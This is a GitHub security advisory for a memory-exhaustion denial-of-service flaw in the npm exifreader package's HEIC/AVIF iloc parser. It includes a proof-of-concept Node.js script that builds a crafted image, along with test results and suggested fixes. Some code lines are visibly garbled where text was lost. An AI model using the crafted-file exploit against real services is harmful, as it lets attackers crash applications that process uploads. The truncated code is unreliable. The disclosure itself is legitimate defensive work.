GitHub Advisoryadvisory · npm
GHSA-pj96-35fp-cfcc ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
HIGH
Official page ↗
- Aliases
- CVE-2026-85715
- Ecosystem
- npm
- Packages
- exifreader
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-789, CWE-835
- Reviewed
- 2026-09-17
Affected packages
• npm exifreader: < 4.41.1 → fixed in 4.41.1
Description
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount × extentCount` (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
• npm package: `exifreader`
• Version: `4.41.0`
• Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: `src/image-header-iso-bmff-iloc.js`, lines 79–116, function `getItems()`.
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|-------|----------|
| `offsetSize` | Bytes per extent offset |
| `lengthSize` | Bytes per extent length |
| `baseOffsetSize` | Bytes per item base offset |
| `indexSize` | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
```javascript
for (let j = 0; j >> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
const ITEMS = 10000;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
const ilocPayload = [
0, 0, 0, 0,
0, 0,
...u16be(ITEMS),
];
for (let i = 0; i {
console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
process.exit(1);
}, 30000);
try {
ExifReader.load(data.buffer);
clearTimeout(timeout);
console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
clearTimeout(timeout);
console.log(`Error: ${e.message}`);
}
```
Scaled test results
Run the above with different ITEMS values:
| Items | File size | Extent objects | Parse time | Heap growth |
|-------|-----------|---------------|------------|-------------|
| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |
| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |
| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |
| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |
| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |
Expected behavior
A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:
1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).
Security impact
This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.
Note: The impact is established using ExifReader's existing distributed (`dist/exif-reader.js`) code.
Suggested fix
In `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:
```javascript
const MAX_EXTENTS_PER_ITEM = 10000;
for (let j = 0; j = MAX_EXTENTS_PER_ITEM) {
break;
}
// ... existing code ...
}
```
Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:
```javascript
if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
// Fields are absent per spec; nothing meaningful to read
// Still advance offset if extentCount > 0 to maintain correctness
continue;
}
```
Related
Alias · CVE (1)
- CVE-2026-85715 ExifReader is a JavaScript Exif information parser. vulnerability